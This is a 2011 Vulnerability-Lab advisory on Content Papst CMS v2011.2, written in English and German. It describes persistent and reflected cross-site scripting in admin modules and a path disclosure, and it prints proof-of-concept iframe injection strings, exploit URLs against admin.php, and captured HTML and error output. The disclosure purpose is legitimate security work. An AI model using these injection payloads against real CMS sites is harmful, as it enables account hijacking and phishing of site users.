Document Title: =============== Content Papst CMS v2011.2 - Multiple Web Vulnerabilities References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=363 Release Date: ============= 2011-12-18 Vulnerability Laboratory ID (VL-ID): ==================================== 363 Product & Service Introduction: =============================== Contentpapst ist ein leistungsstarkes und sehr flexibles Content-Management-System (CMS) speziell für kleine und mittelständische Unternehmen, Behörden und Organisationen. Mit dem CMS Contentpapst verwalten Sie Ihre Firmen-Homepage, Ihre Vereins-Webseite etc. zukünftig komplett per Browser, ohne zusätzliche Software! (Copy of the Vendor Homepage: http://www.sandoba.de/produkte/cms-contentpapst/) Abstract Advisory Information: ============================== Vulnerability Laboratory Research Team discovered multiple web vulnerabilities in the Content Papst CMS v2011.2 Vulnerability Disclosure Timeline: ================================== 2011-12-18: Public or Non-Public Disclosure Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ 1.1 Multiple persistent input validation vulnerabilities are detected on the famous Content Papst v2011.2 Content Management System. The vulnerability allows an remote attacker or local low privileged cp user account to inject own malicious script codes on application-side (persistent) of the web service. Successful exploitation of the vulnerability can result in persistent module content manipulation of vulnerable modules, phishing & session hijacking. Vulnerable Module(s): [+] Categorie => Titel/Beschreibung/Permalink [+] Links => Titel/URL/Beschreibung [+] Artikel-Categorie => Titel/Beschreibung/Permalink [+] Artikel => Titel/Beschreibung/Permalink [+] News => Name/Beschreibung/URL Picture(s): ../1.png ../2.png 1.2 Multiple non-persistent cross site scripting vulnerabilities are detected on the famous Content Papst v2011.2 Content Management System. The vulnerability allows an attacker (remote) to hijack customer/admin/moderator/user accounts via cross site scripting. Successful exploitation of the vulnerability can result in account steal & client side content manipulation on requests. Vulnerable Module(s): [+] Dateiverwaltung - Topic [Name,Path & Folder] [+] News - Search Parameter Picture(s): ../3.png 1.3 A Information/Path disclosure issue are detected on the famous Content Papst v2011.2 Content Management System. A regular expression format output displays mistake shows remote attackers sensitive information via path error. Vulnerable Module(s): [+] Search File Overview --- Exception Logs --- Warning: preg_match() [function.preg-match]: No ending delimiter \\\\\\\'/\\\\\\\' found in /kunden/282246_12XXX/cms-test.com/demoversion/modules/upload/class.admin.php on line 563
Warning: preg_match() [function.preg-match]: No ending delimiter \\\\\\\'/\\\\\\\' found in /kunden/282246_12XXX/cms-test.com/demoversion/modules/upload/class.admin.php on line 563
Warning: preg_match() [function.preg-match]: No ending delimiter \\\\\\\'/\\\\\\\' found in /kunden/282246_12XXX/cms-test.com/demoversion/modules/upload/class.admin.php on line 563
Warning: preg_match() [function.preg-match]: No ending delimiter \\\\\\\'/\\\\\\\' found in /kunden/282246_12XXX/cms-test.com/demoversion/modules/upload/class.admin.php on line 563
Warning: preg_match() [function.preg-match]: No ending delimiter \\\\\\\'/\\\\\\\' found in /kunden/282246_12XXX/cms-test.com/demoversion/modules/upload/class.admin.php on line 563
Warning: preg_match() [function.preg-match]: No ending delimiter \\\\\\\'/\\\\\\\' found in /kunden/282246_12XXX/cms-test.com/demoversion/modules Picture(s): ../4.png Proof of Concept (PoC): ======================= The vulnerabilities can be exploited by remote attackers or local low privileged user accounts. For demonstration or reproduce ... 1.1 - Title & Beschreibung - Categories 3 hacker23 >"</a></td> <td valign="top"><em>Keine Beschreibung verfügbar.</em></td> <td width="130" valign="top">Öffentlich verfügbar</td> <td valign="top"><a href="http://www.XXX.com/[PATH]/news-category-3.html" title="Zur Webseite wechseln"><img src="/demoversion/themes/backend/images/alfa_buttons_view.gif" border="0" alt="Zur Webseite wechseln" /></a></td> - Article Name & Beschreibung - News <tr class="layout_table_row_2"> <th><input id="checkbox_16" name="checkbox[16]" value="1" class="checkbox" type="checkbox">?????</th> <td>16</td> <td align="left"><a href="/demoversion/admin.php?file=news&mode=edit_news&number=16" title="Neue Produkte von der Cebit 2006 >"<iframe src=http://www.vulnerability-lab.com width="1000" height="800">">N eue Produkte von der Cebit 2006 >"?????<iframe src="http://www.vuln...%3C/a"></td> <td align="center"><img src="/demoversion/themes/backend/images/icons/color_green.gif" border="0" alt="Öffentlich verfügbar" title="Öffentlich verfügbar" /></td> <td align="center"><img src="/demoversion/themes/backend/images/icons/color_blue.gif" border="0" alt="Aktuelle News" title="Aktuelle News" /></td> <td width="130"><a href="/demoversion/admin.php?file=news&mode=edit_category&number=1">Allgemeines</a></td> <td width="90" align="left"> 09.09.2010</td> <td align="center"><a href="http://www.cms-test.com/demoversion/news/allgemeines/neue-produkte-von -der-cebit-2006.html" title="Zur Webseite wechseln"><img src="/demoversion/themes/backend/images/alfa_buttons_view.gif" border="0" alt="Zur Webseite wechseln" /></a></td> <td><a href="/demoversion/admin.php?file=news&mode=duplicate_news&number=16&clean=yes" onclick="return confirm('Sind Sie sicher, dass Sie diesen Eintrag duplizieren wollen?')" title="News duplizieren"><img src="/demoversion/themes/backend/images/alfa_buttons_duplicate.gif" border="0" alt="News duplizieren" /></a></td> <td align="center"><a href="/demoversion/admin.php?file=news&mode=edit_news&number=16" title="News bearbeiten"><img src="/demoversion/themes/backend/images/alfa_buttons_edit.gif" border="0" alt="News bearbeiten" /></a></td> <td align="center"><a href="/demoversion/admin.php?file=news&mode=delete_news&number=16" onclick="return confirm('Sind Sie sicher, dass Sie diese Aktion durchführen möchten?')" title="News löschen"><img src="/demoversion/themes/backend/images/alfa_buttons_delete.gif" border="0" alt="News löschen" />< /a></td> </tr> PoC: ../category ../news-listing 1.2 http://www.XXX.com/[PATH]/admin.php#!file=upload&mode=rename_dir&form[dir]=cache&form[path]=%3E%22%3Ciframe%20src=http://vulnerability-lab.com%3E http://www.XXX.com/[PATH]/admin.php#!file=upload&mode=rename_dir&form[dir]=%3E%22%3Ciframe%20src=http://vulnerability-lab.com%3E&form[path]=. 1.3 <td class="table_head">Suchen</td> </tr> <tr> <td class="table_bottom table_bottom_inline"><table border="0" cellpadding="2" cellspacing="0"><tbody><tr><td><input name="form[query]" id="form_search_query" alt="" class="input_9" maxlength="50" value="-1\" onclick="jsapi('#form_search_livesearch_frame') .hide();" onkeyup="jsapi.get('/demoversion/admin.php?file=upload&mode=livesearch&form[query]=' + this.value + '&form[type]=' + jsapi('#form_search_type').val() + '&form[case]=' + jsapi('#form_search_case').attr('checked') + '&form[dirs]=' + jsapi('#form_search_dirs') .attr('checked') + '&clean=yes', function(data) { jsapi('.layout_livesearch_frame').hide(); jsapi('#form_search_livesearch_frame').html(data); jsapi('#form_search_livesearch_frame').css('margin-bottom', '-' + jsapi('#form_search_livesearch_frame').height() + 'px').show(); });" style="margin- right: 5px;" type="text"><div class="layout_livesearch_frame" id="form_search_livesearch_frame" style="width: 345px; display: block; margin-bottom: 0px;"></div></td><td>Dateityp:</td><td><select name="form[type]" class="input_5" id="form_search_type" style="margin-right: 5px;"> ... <option value="tpl">.tpl</option> ... <option value="txt">.txt</option> <option value="xml">.xml</option> <option value="zip">.zip</option> </select></td><td><input name="form[case]" value="1" alt="" id="form_search_case" class="checkbox" type="checkbox"> <label for="form_search_case">Groß-/Kleinschreibung</label> <input name="form[dirs]" value="1" alt="" id="form_search_dirs" class="checkbox" type="checkbox"><label for="form_search_dirs">Ordner</label> <input name="mode" value="search_now" type="hidden"> <input name="clean" value="yes" type="hidden"> <input value="Abschicken" alt="" class="inputsubmit" type="submit"> </td></tr></tbody></table></td> </tr> </tbody></table> </div><br></form> <br> <b>Warning</b>: preg_match() [<a href="function.preg-match">function.preg-match</a>]: No ending delimiter '/' found in <b>/kunden/282246_12623/cms-test.com/demoversion/modules/upload/class.admin.php</b> on line <b>563</b><br> <b>Warning</b>: preg_match() [<a href="function.preg-match">function.preg-match</a>]: No ending delimiter '/' found in <b>/kunden/282246_12623/cms-test.com/demoversion/modules/upload/class.admin.php</b> on line <b>563</b><br> <b>Warning</b>: preg_match() [<a href="function.preg-match">function.preg-match</a>]: No ending delimiter '/' found in <b>/kunden/282246_12623/cms-test.com/demoversion/modules/upload/class.admin.php</b> on line <b>563</b><br> <b>Warning</b>: preg_match() [<a href="function.preg-match">function.preg-match</a>]: No ending delimiter '/' found in <b>/kunden/282246_12623/cms-test.com/demoversion/modules/upload/class.admin.php</b> on line <b>563</b><br> <b>Warning</b>: preg_match() [<a href="function.preg-match">function.preg-match</a>]: No ending delimiter '/' found in <b>/kunden/282246_12623/cms-test.com/demoversion/modules/upload/class.admin.php</b> on line <b>563</b><br> <b>Warning</b>: preg_match() [<a href="function.preg-match">function.preg-match</a>]: No ending delimiter '/' found in <b>/kunden/282246_12623/cms-test.com/demoversion/modules Security Risk: ============== 1.1 The security risk of the persistent vulnerabilities are estimated as high(-). 1.2 The security risk of the non-persistent cross site scripting vulnerabilities are estimated as medium(-) because of 7high required user inter action. 1.3 The security risk of the information dislcosure bug is estimated as low. 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